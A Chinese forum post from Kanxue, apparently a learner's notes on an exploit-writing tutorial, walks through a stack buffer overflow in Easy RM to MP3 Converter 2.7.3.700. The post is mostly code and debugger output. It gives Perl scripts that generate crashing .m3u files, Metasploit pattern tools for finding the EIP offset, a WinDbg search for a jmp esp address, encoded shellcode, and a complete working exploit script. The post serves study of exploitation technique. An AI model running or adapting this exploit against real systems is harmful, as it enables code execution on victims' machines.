|
如何利用栈溢出漏洞 (qq.com) 如何利用栈溢出漏洞原创 LarryS [url=]看雪学院[/url] 5天前
 
本文为看雪论坛优秀文章
看雪论坛作者ID:LarryS
这周要看的《漏洞战争》中的内容已经看完了,所以利用空余时间学习一下Exploit 编写系列教程。
今天只看了第一篇,是一篇很基础的如何利用栈溢出的教程,其实很多内容在之前看0day安全的时候都学习过,但是思考的角度有所差异,而且介绍了一些好用的工具,再加上该系列后续文章也会讲解很多我还不了解的内容,所以很有学习的价值。
1
准备工作 - 漏洞验证
(1)从漏洞报告上获取信息:Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file.
已知程序存在栈溢出漏洞,除此之外没有其他信息和poc文件。
(2)验证程序确实会崩溃
a.安装存在漏洞的软件:
下载渠道:exploit-db,oldapps.com,oldversion.com
b.生成测试用m3u文件
- my $file= "crash.m3u";
- my $junk= "\x41" x 10000;
- open($FILE,">$file");
- print $FILE "$junk";
- close($FILE);
- print "m3u File Created successfully\n";
复制代码 测试文件只是为了让程序崩溃,不需要什么结构,由大量的'A'组成。
c.测试
10000长度的文件没能让程序崩溃,换成20000、30000……
10000长度:
 
30000长度程序闪退了
(3)调试崩溃程序
2
漏洞利用流程
1、确定EIP在poc文件中的位置
设置windbg为默认调试器,windbg.exe -I,重新打开软件,并加载引起闪退的文件,调试器会直接打开。此时观察到调试器输出:
- (3f4.f58): Access violation - code c0000005 (!!! second chance !!!)
- eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007530
- eip=41414141 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
- 41414141 ?? ???
- 0:000> dd esp
- 000ffd38 41414141 41414141 41414141 41414141
- 000ffd48 41414141 41414141 41414141 41414141
- 000ffd58 41414141 41414141 41414141 41414141
- 000ffd68 41414141 41414141 41414141 41414141
- 000ffd78 41414141 41414141 41414141 41414141
- 000ffd88 41414141 41414141 41414141 41414141
- 000ffd98 41414141 41414141 41414141 41414141
- 000ffda8 41414141 41414141 41414141 41414141
复制代码 此时EIP的值为0x41414141,也就是说poc文件中(可控的)的数值成功写入了EIP寄存器,能够控制程序执行流程。同时栈中的数据也都变成了0x41414141,说明是一个栈溢出漏洞。此时需要判断栈空间有多大,文件中的哪块数据变成了EIP中的数值。
目前已知,20000字节的文件不会使程序崩溃,30000字节的文件可以使程序崩溃。所以写入EIP的数据位于20000~30000字节之间。
如果不考虑任何工具,使用比较傻瓜的方法确定EIP值在POC文件中的具体位置,可以使用二分法,毕竟O(logn)的效率并不差,但是这种方法显然很麻烦。
不过metasploit已经考虑到了这种情况并提供了相关工具,在我分析CVE-2010-3333漏洞的时候,为了确定SEH handler的位置,已经参考了这个系列文章并使用了该工具。
我在win10电脑中安装了metasploit,直接搜索pattern_create.rb文件。
- PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -h
- Usage: ./pattern_create.rb [options]
- Example: ./pattern_create.rb -l 50 -s ABC,def,123
- Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
- Options:
- -l, --length <length> The length of the pattern
- -s, --sets <ABC,def,123> Custom Pattern Sets
- -h, --help Show this message
复制代码
这个脚本可以生成任意长度,任意模式的字符串。直接生成一个长度为30000字节的文件poc.m3u:
ruby .\pattern_create.rb -l 30000 > poc.m3u
重新打开程序,调试器输出:
- (8d0.f74): Access violation - code c0000005 (!!! second chance !!!)
- eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=00007532
- eip=376c4836 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
- 376c4836 ?? ???
复制代码 这次EIP被覆盖成了0x376c4836。
接下来需要计算EIP的具体位置了,可以使用脚本pattern_offset.rb:
- PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -h
- Usage: ./pattern_offset.rb [options]
- Example: ./pattern_offset.rb -q Aa3A
- [*] Exact match at offset 9
- Options:
- -q, --query Aa0A Query to Locate
- -l, --length <length> The length of the pattern
- -s, --sets <ABC,def,123> Custom Pattern Sets
- -h, --help Show this message
- PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_offset.rb -q 0x376c4836 -l 30000
- [*] Exact match at offset 5810
- [*] Exact match at offset 26090
复制代码 因为已经知道位置一定是在25000字节之后了,所以正确的偏移量应该是26090。
修改一下一开始生成测试文件的perl脚本,测试该偏移量是否正确:
- my $file= "crash_eiptest.m3u";
- my $junk= "A" x 26090;
- my $eip= "BBBB";
- my $espdata = "C" x 1000;
- open($FILE,">$file");
- print $FILE $junk.$eip.$espdata;
- close($FILE);
- print "m3u File Created successfully\n";
复制代码 使用上面的脚本生成测试文件,如果偏移量正确,EIP应该会变成0x42424242。
注:crash_eiptest.m3u应该和poc.m3u放在同一个目录下,因为这个栈溢出漏洞和文件所在的绝对路径有关,我一开始没注意,所以得到的EIP值就是错误的。
- (718.d20): Access violation - code c0000005 (!!! second chance !!!)
- eax=00000001 ebx=00104a58 ecx=7c91003d edx=00a90000 esi=77c5fce0 edi=000069d6
- eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc
- cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
- 42424242 ?? ???
复制代码 至此,可以确定EIP的值在POC文件中的偏移为26090。
2、确定shellcode放置位置
目前已经确定了EIP的位置,可以通过修改EIP控制程序的执行流程了,但是还不知道要把EIP修改成什么值,还需要确定shellcode的位置。
在上面windbg输出的错误信息中,可以看到各个寄存器的值,查看各寄存器指向位置的数据都是什么,如果有某个寄存器指向的位置正好包含了poc文件中的数据,就可以把那个寄存器作为跳板,并用shellcode替换原本指向的数据。
注:其实栈溢出漏洞已经很熟悉了,大家都知道esp会指向EIP之后的数据,所以在这里这一步并不必要,但是这个方法仍指的借鉴,毕竟你并不是每次都能够确定选择哪个寄存器。
假设现在还啥都不知道,查看各寄存器指向的数据,只有esp寄存器指向的数据内容为poc文件的内容:
- 0:000> dd esp
- 000ffd38 43434343 43434343 43434343 43434343
- 000ffd48 43434343 43434343 43434343 43434343
- 000ffd58 43434343 43434343 43434343 43434343
- 000ffd68 43434343 43434343 43434343 43434343
- 000ffd78 43434343 43434343 43434343 43434343
- 000ffd88 43434343 43434343 43434343 43434343
- 000ffd98 43434343 43434343 43434343 43434343
- 000ffda8 43434343 43434343 43434343 43434343
复制代码 所以现在知道esp寄存器指向了poc文件中“CCCCCC....”字符串的位置,但是不确定具体偏移是多少,需要再次修改perl脚本:
- my $file= "crash_esptest.m3u";
- my $junk= "A" x 26090;
- my $eip= "BBBB";
- my $espdata = "1zxcvbnm2zxcvbnmn3zxcvbnm4zxcvbnm5zxcvbnm6zxcvbnm7zxcvbnm8zxcvbnm9zxcvbnm0zxcvbnm";
- open($FILE,">$file");
- print $FILE $junk.$eip.$espdata;
- close($FILE);
- print "m3u File Created successfully\n";
复制代码 将原本“C”的位置替换为不同的字符串模式,再次生成poc文件crash_esptest.m3u。触发异常后查看esp寄存器指向的数据内容:
- 0:000> db esp
- 000ffd38 76 62 6e 6d 32 7a 78 63-76 62 6e 6d 33 7a 78 63 vbnm2zxcvbnm3zxc
- 000ffd48 76 62 6e 6d 34 7a 78 63-76 62 6e 6d 35 7a 78 63 vbnm4zxcvbnm5zxc
- 000ffd58 76 62 6e 6d 36 7a 78 63-76 62 6e 6d 37 7a 78 63 vbnm6zxcvbnm7zxc
- 000ffd68 76 62 6e 6d 38 7a 78 63-76 62 6e 6d 39 7a 78 63 vbnm8zxcvbnm9zxc
- 000ffd78 76 62 6e 6d 30 7a 78 63-76 62 6e 6d 00 41 41 41 vbnm0zxcvbnm.AAA
- 000ffd88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
- 000ffd98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
- 000ffda8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
复制代码 可以看到esp指向了eip后面第五个字符的位置。之所以没有指向第一个字符,应该是因为最后的返回语句是retn 4。除此之外,在这部分新替换的字符串后面,又是一连串的“A”字符,这部分内容应该是poc文件的开头部分数据。
根据上面的发现,我们可以把shellcode放在两个位置:
a.poc文件开头
b.EIP数据位置后的第五个字符后
3、确定EIP的填充内容3.1 确定使用的指令既然确定了shellcode的放置位置,让esp直接指向shellcode的内容,看起来好像直接用esp的值填充eip就可以了。但是这里存在两个问题:
(1)esp的值0x000ffd38中包含\x00字节,表示字符串终止位,这种情况可能会直接导致数据复制到\x00就停止,不会继续复制后面的shellcode内容。
(2)esp的值并不是固定不变的,可能不同的系统版本,或者只是同一台电脑的不同配置情况,都会导致esp的值发生变化。
所以需要找到一个更稳定的EIP值。
一开始之所以想要把EIP的值覆盖为ESP的值,是因为这样程序会跳转到ESP指向的位置继续执行。所以可以采用一种间接的方式,先执行jmp esp指令,然后程序自然会跳转到shellcode的位置。
3.2 确定jmp esp指令地址
因为Easy RM to MP3 Converter这个软件在执行的时候会加载很多DLL文件,里面会存在大量的jmp esp指令,关键在于找到这些指令的地址。
可以使用windbg确定指令地址:
(1)确定指令对应机器码:
a.打开软件,将windbg附加到对应进程上
输入a命令,该命令会修改当前位置的汇编指令,然后输入想要查找的指令b.jmp esp,再次回车,退出编辑状态
c.输入u命令,该命令会显示当前位置的汇编指令,由于上一步对指令进行了修改,显示的就是想要查找的指令内容及其机器码。
最终得到jmp esp的机器码为ffe4。
- 0:010> u
- ntdll!DbgBreakPoint:
- 7c90120e ffe4 jmp esp
- 7c901210 8bff mov edi,edi
- ntdll!DbgUserBreakPoint:
- 7c901212 cc int 3
- 7c901213 c3 ret
- 7c901214 8bff mov edi,edi
- ntdll!DbgBreakPointWithStatus:
- 7c901216 8b442404 mov eax,dword ptr [esp+4]
- ntdll!RtlpBreakWithStatusInstruction:
- 7c90121a cc int 3
- 7c90121b c20400 ret 4
复制代码 (2)搜索ffe4的地址
a.在windbg附加到进程上之后,会首先输出一系列的DLL加载信息,在这些信息中,找到属于Easy RM to MP3 Convert的DLL文件:
- ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
- ModLoad: 00b50000 00bef000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
- ModLoad: 01900000 01971000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
- ModLoad: 01980000 01987000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
- ModLoad: 01990000 01e5d000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
- ModLoad: 02260000 0227e000 C:\Program Files\Easy RM to MP3 Converter\wmatimer.dll
- ModLoad: 02290000 022a0000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter02.dll
- ModLoad: 024b0000 024c2000 C:\Program Files\Easy RM to MP3 Converter\MSLog.dll
复制代码 使用这些DLL文件中的指令会得到比较可靠的指令地址,如果选择操作系统本身的DLL文件,可能换一个操作系统地址就不对了。
注:不过也不是绝对可靠,我在实验中得到的DLL文件加载地址和文章中提供的有一部分也不相同,不过概率总归大一些。
b.在上面的几个DLL内存范围内搜索ff e4的地址,注意最后选择的地址中不要包含\x00字符。
- 0:010> s 1990000 1e5d000 ff e4
- 01b4f23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
- 01b8023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
- 01b9d3db ff e4 ca b6 01 20 05 93-19 09 00 00 00 00 d4 b9 ..... ..........
- 01bbb22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
- 01bbb72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
- 01bbcd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...
- 01bc5c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y.......
- 01bd03d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
- 01bd1400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
- 01bd736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
- 01bdce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
- 01be0159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
- 01be2ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
- 0:010> s 2260000 227e000 ff e4
- 0227135b ff e4 49 26 02 e8 49 26-02 00 00 00 00 ff ff ff ..I&..I&........
复制代码 最后找到了上面这些地址,有些DLL文件中搜索不到。
c.验证。选择一个不包含\x00的地址,我选择0227135b,查看该处的汇编代码:
- 0:010> u 227135b
- wmatimer!ATimerGet1X+0x1020b:
- 0227135b ffe4 jmp esp
- 0227135d 49 dec ecx
- 0227135e 2602e8 add ch,al
- 02271361 49 dec ecx
- 02271362 260200 add al,byte ptr es:[eax]
- 02271365 0000 add byte ptr [eax],al
- 02271367 00ff add bh,bh
- 02271369 ff ???
复制代码 看来没问题,可以使用这个地址。
4、确定shellcode的内容
到目前为止我们已经知道了EIP的填充位置和填充内容,以及shellcode的填充位置,现在需要确定要执行的shellcode代码。
文章中说metasploit提供了payload生成器,但是并没有说怎么用,直接给出了最后的结果,所以我搜索了一下这方面的内容。
(1)使用metasploit生成payload
安装完成metasploit之后,在命令行里输入msfconsole就可以启动metasploit了。如果不确定要使用哪个payload,可以在命令行里输入 use payload,然后按几下TAB键,metasploit就会显示出所有可用的payload。
use payload/windows/exec 选择这个payload,然后输入help,查看帮助信息,可以看到payload支持的命令:
- Payload Commands
- ================
- Command Description
- ------- -----------
- check Check to see if a target is vulnerable
- generate Generates a payload
- reload Reload the current module from disk
- to_handler Creates a handler with the specified payload
复制代码 这里要选择generate命令,输入generate -h查看帮助信息:
- Usage: generate [options]
- Generates a payload. Datastore options may be supplied after normal options.
- Example: generate -f python LHOST=127.0.0.1
- OPTIONS:
- -E Force encoding
- -O <opt> Deprecated: alias for the '-o' option
- -P <opt> Total desired payload size, auto-produce appropriate NOP sled length
- -S <opt> The new section name to use when generating (large) Windows binaries
- -b <opt> The list of characters to avoid example: '\x00\xff'
- -e <opt> The encoder to use
- -f <opt> Output format: base32,base64,bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war
- -h Show this message
- -i <opt> The number of times to encode the payload
- -k Preserve the template behavior and inject the payload as a new thread
- -n <opt> Prepend a nopsled of [length] size on to the payload
- -o <opt> The output file name (otherwise stdout)
- -p <opt> The platform of the payload
- -v Verbose output (display stage in addition to stager)
- -x <opt> Specify a custom executable file to use as a template
复制代码 有几个选项比较重要:
- -P:指定想要的payload的长度,在这次实验中不需要
- -b:不希望payload中出现的字符
- -e:使用的编码器
- -f:指定输出的语言,这里选择perl
使用show options查看这个payload可以设置的选项:
- msf6 payload(windows/exec) > show options
- Module options (payload/windows/exec):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- CMD yes The command string to execute
- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
复制代码 使用set命令来设置这些选项:
- msf6 payload(windows/exec) > set cmd calc
- cmd => calc
- msf6 payload(windows/exec) > set exitfunc seh
- exitfunc => seh
复制代码 使用show encoders可以查看支持的编码器,这里不再贴出,一般来metasploit会自己选择最合适的编码器,但是如果你对payload的输出有特殊要求,也可以自己指定想要的编码器。
文章中提到了使用encoder/x86/alpha_upper编码器,Alpha2 Alphanumeric Uppercase Encoder,顾名思义,它会使用数字和大写字母生成payload。
因为Easy RM to MP3 Conversion Utility对文件的合法字符有要求,但是我们又无法确定哪些是非法字符,所以保险的做法就是保证payload中只包含文件名允许字符。
最后使用generate -b "\x00" -e x86/alpha_upper -f perl生成payload
5、测试exploit
整合上面的信息,得到如下perl脚本:
- my $file= "exploit.m3u";
- my $junk= "A" x 26090;
- my $eip= pack('V',0x0227135b);
- # 注意这里要填充一些nop指令,否则shellcode无法正确执行
- my $beforeshellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
- # windows/exec - 446 bytes
- # https://metasploit.com/
- # Encoder: x86/alpha_upper
- # VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calc
- my $buf =
- "\x89\xe1\xdb\xd4\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" .
- "\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" .
- "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
- "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
- "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48" .
- "\x4b\x32\x33\x30\x35\x50\x35\x50\x53\x50\x4b\x39\x5a\x45" .
- "\x30\x31\x39\x50\x43\x54\x4c\x4b\x46\x30\x56\x50\x4c\x4b" .
- "\x51\x42\x34\x4c\x4c\x4b\x36\x32\x55\x44\x4c\x4b\x44\x32" .
- "\x51\x38\x54\x4f\x58\x37\x31\x5a\x51\x36\x36\x51\x4b\x4f" .
- "\x4e\x4c\x57\x4c\x35\x31\x33\x4c\x34\x42\x56\x4c\x37\x50" .
- "\x59\x51\x38\x4f\x44\x4d\x33\x31\x39\x57\x4a\x42\x4b\x42" .
- "\x51\x42\x56\x37\x4c\x4b\x50\x52\x42\x30\x4c\x4b\x30\x4a" .
- "\x47\x4c\x4c\x4b\x30\x4c\x52\x31\x42\x58\x4a\x43\x51\x58" .
- "\x55\x51\x58\x51\x46\x31\x4c\x4b\x36\x39\x47\x50\x33\x31" .
- "\x39\x43\x4c\x4b\x57\x39\x34\x58\x4d\x33\x36\x5a\x30\x49" .
- "\x4c\x4b\x56\x54\x4c\x4b\x35\x51\x39\x46\x46\x51\x4b\x4f" .
- "\x4e\x4c\x4f\x31\x48\x4f\x54\x4d\x53\x31\x59\x57\x37\x48" .
- "\x4b\x50\x44\x35\x4a\x56\x34\x43\x33\x4d\x4c\x38\x57\x4b" .
- "\x53\x4d\x37\x54\x42\x55\x4a\x44\x36\x38\x4c\x4b\x56\x38" .
- "\x37\x54\x35\x51\x39\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b" .
- "\x4c\x4b\x30\x58\x45\x4c\x43\x31\x59\x43\x4c\x4b\x43\x34" .
- "\x4c\x4b\x45\x51\x48\x50\x4c\x49\x47\x34\x47\x54\x36\x44" .
- "\x51\x4b\x31\x4b\x55\x31\x56\x39\x30\x5a\x56\x31\x4b\x4f" .
- "\x4b\x50\x51\x4f\x31\x4f\x50\x5a\x4c\x4b\x45\x42\x4a\x4b" .
- "\x4c\x4d\x31\x4d\x42\x4a\x35\x51\x4c\x4d\x4d\x55\x58\x32" .
- "\x55\x50\x55\x50\x55\x50\x36\x30\x33\x58\x30\x31\x4c\x4b" .
- "\x52\x4f\x4b\x37\x4b\x4f\x58\x55\x4f\x4b\x4b\x4e\x34\x4e" .
- "\x30\x32\x4a\x4a\x43\x58\x39\x36\x5a\x35\x4f\x4d\x4d\x4d" .
- "\x4b\x4f\x49\x45\x47\x4c\x54\x46\x43\x4c\x44\x4a\x4b\x30" .
- "\x4b\x4b\x4d\x30\x34\x35\x53\x35\x4f\x4b\x57\x37\x52\x33" .
- "\x34\x32\x52\x4f\x42\x4a\x35\x50\x30\x53\x4b\x4f\x48\x55" .
- "\x32\x43\x45\x31\x42\x4c\x53\x53\x35\x50\x41\x41";
- open($FILE,">$file");
- print $FILE $junk.$eip.$beforeshellcode.$buf;
- close($FILE);
- print "m3u File Created successfully\n";
复制代码 生成poc文件之后,可以成功弹出计算器。
3
知识点整理
(1)pattern_create.rb及pattern_offset.rb脚本的使用方法;
(2)windbg确定指令机器码及搜索机器码地址的方法;
(3)其他确定机器码的方法:
a.findjmp
b.metasploit opcode database: https://web.archive.org/web/2008 ... pcode/msfopcode.cgi
c.memdump: 之后的文章会介绍到;
d.pvefindaddr: Immunity插件;
e.msf生成payload的方法以及注意事项。
4
总结
除了上面的几个知识点之外,比较有意思的其实是这篇文章的思考角度。在学习0day安全的时候,只有前面的栈溢出(也是本篇文章介绍的内容,所以重复较大)介绍的很详细,后面的内容更倾向于原理而不是漏洞利用,而后来我开始看《漏洞战争》,更多的是对漏洞本身的调试分析,漏洞利用的角度学习的也很少。
在这篇文章中,没有poc,没有payload,一切都需要你自己生成,整个漏洞利用的流程介绍的非常详细。
由于只是第一篇文章,很多问题上仍旧只是浅尝辄止,比如shellcode的放置位置、shellcode的前面为什么要填充nop指令、除了jmp esp之外是否还有其他到达shellcode的方法,这些问题都还没有深入讲解。
希望等我看完整个系列教程之后,能够自己编写出之前分析的漏洞的利用程序。
参考资料:- Exploit writing tutorial part 1 : Stack Based Overflows
- metasploit生成payload
|
|